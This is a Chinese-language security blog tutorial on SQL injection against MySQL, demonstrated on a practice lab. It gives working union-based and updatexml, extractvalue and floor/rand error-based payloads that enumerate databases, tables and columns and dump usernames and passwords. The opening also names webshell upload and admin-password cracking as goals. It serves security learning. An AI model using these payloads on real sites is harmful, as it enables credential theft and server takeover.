SQL注入是Web层面最高危的漏洞之一,常年占据owasp排行榜前十的位置。
sql注入有一款非常好用的注入工具,叫做:sqlmap。有兴趣可以前往学习:web安全-sqlmap的使用
它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
也是由于程序员水平参差不齐,导致很多垃圾代码产生,加上没有任何安全意识,导致sql注入等问题到处存在。
1、注入管理员账户密码,如果加密较弱,可以直接破解,登陆后台。
2、注入root等mysql管理员账户密码,利用sqlmap等工具上传后门。
3、通过注入可以轻松拖下用户信息,导致用户信息泄漏。
3、sql注入造成个webshell后门上传,整个网站服务器都会沦陷
根据注入的反馈信息,我们大抵可以将sql注入类型分为以下几种:
本文中主要介绍:联合查询、报错注入、盲注。以及开源网站所存在的漏洞复现。
我们必须明白口口声声念叨的sql注入,到底是在干嘛!目的是什么!!
首先我们注入是为了得到管理员账号密码,其次sql注入是对数据库进行的操作,因此要求我们对数据库要有一定的了解。有需要的小伙伴可以前往博客:web安全-mysql基础进行简单学习。
这里我们简单介绍一下数据库的构造,以mysql为例。
在数据库管理系统中默认有一个名为:information_schema的数据库;如下:
在这个数据库中,有一张表叫做:tables,它记录了整个数据库管理系统的信息,如下:
那么这张表有什么神奇之处呢?它有一列叫:table_schema,这一列记录了数据库管理系统的所有数据库的库名;它还有一列叫table_name,这一列记录了数据库管理系统所有数据库的表名;如下所示:
因此,我们的目的是找到管理员的账号密码。我们的操作过程就应该是:数据库管理系统中有一个数据库(information_schema),数据库中有一个表(tables)记录着所有数据库的各种信息,表里面有其中两个列(table_schema,table_name);所以先找到数据库、查这个数据库的所有表名、再查管理员表的所有列名,最后爆出数据获取用户名密码。
总结一下:SQL注入总共分为四步:1、找库;2、找表;3、找列;4、出数据。
那接下来就让我们进入演环节!!!我们的演示以靶机第二关为目标,使用不同的手段进行注入。
需要靶机或者下文中的开源网站包的小伙伴请点击自取进行学习:sql工具包
union,它用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据,由于我们的显示位只有一行,所以我们传参为:id=-1,使前面的查询为空,这样显示位显示的就是我们恶意语句的查询结果。
尤其需要注意的是select之后的查询数量需要和表的列数量对应!
数据库名
Payload:?id=-1 union select 1,2,database()--+
Payload:?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
Payload:?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')--+
Payload:?id=-1 union select 1,2,(select group_concat(username,'/',password) from users)--+
updatexml报错注入需要传三个参数,废话不多,展示!!
数据库名
Payload:?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
表名
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
列名
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
数据
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+
extractvalue报错注入需要传两个参数,废话不多,展示!!
数据库名
Payload:?id=1 and extractvalue (1,concat(0x7e,database(),0x7e))--+
Payload:?id=1 and extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
列名
Payload:?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+
floor()报错注入得多说一点,不能直接展示了。
首先是这四个关键字:count 、group by 、floor、rand。其中count 、group by就不再做过多赘述,web安全-mysql基础这篇博客中已经相对清楚地对他们进行了说明。
这里主要说明floor、rand。首先floor()是向下取整,rand()是随机生成一个在0和1之间的数,rand(0)却是一个固定的数。如图:
那么我们将这两个函数组合,就有意想不到的效果,它会出现0、1两种情况。如图:
在四个函数的配合下,利用子查询就会产生主键冲突报错。
数据库名
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema="security" limit 2,1),'-',floor(rand(0)*2)))--+
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1),'-',floor(rand(0)*2)))--+
数据
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select concat(username,':',password) from users limit 0,1),'-',floor(rand(0)*2)))--+
盲注分为时间盲注和布尔盲注,因为无回显,所以只能进行盲注。有能力可以自己写盲注脚本,也可以使用sqlmap。见博客:web安全-sqlmap的使用
需要开源网站包的小伙伴请点击自取进行学习:[sql工具包]。(https://blog.csdn.net/weixin_45873676/article/details/113423746)